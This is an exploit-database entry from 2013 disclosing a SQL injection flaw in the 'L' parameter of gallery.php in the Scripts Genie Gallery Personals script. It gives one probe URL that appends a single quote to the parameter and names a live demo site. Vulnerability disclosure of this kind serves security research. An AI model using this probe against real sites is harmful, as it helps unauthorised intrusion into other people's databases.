Scripts Genie Gallery Personals - 'gallery.php?L' SQL Injection



EKU-ID: 29904 CVE: OSVDB-90335 OSVDB-ID:
Author: 3spi0n Published: 2013-02-17 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##################################################################################
       __            _                      _            ____
      / /___ _____  (_)_____________ ______(_)__  _____ / __ \_________ _
 __  / / __ `/ __ \/ / ___/ ___/ __ `/ ___/ / _ \/ ___// / / / ___/ __ `/
/ /_/ / /_/ / / / / (__  |__  ) /_/ / /  / /  __(__  )/ /_/ / /  / /_/ /
\____/\__,_/_/ /_/_/____/____/\__,_/_/  /_/\___/____(_)____/_/   \__, /
                                                                /____/
##################################################################################
Gallery Personals Script SQL Injection Vulnerabilities
Software Page: http://scriptsgenie.com/
Product Page: http://www.hotscripts.com/listing/gallery-personals/
Script Demo: http://resalemembership.com/demos/pgallery/

Author(Pentester): 3spi0n
On Social: Twitter.Com/eyyamgudeer
Greetz: Grayhats Inc. and Janissaries Platform.
##################################################################################

[~] MySQL Injection on Demo Site (/gallery.php?L=)

>>> http://server/pgallery/gallery.php?L=2' (MySQLi Found)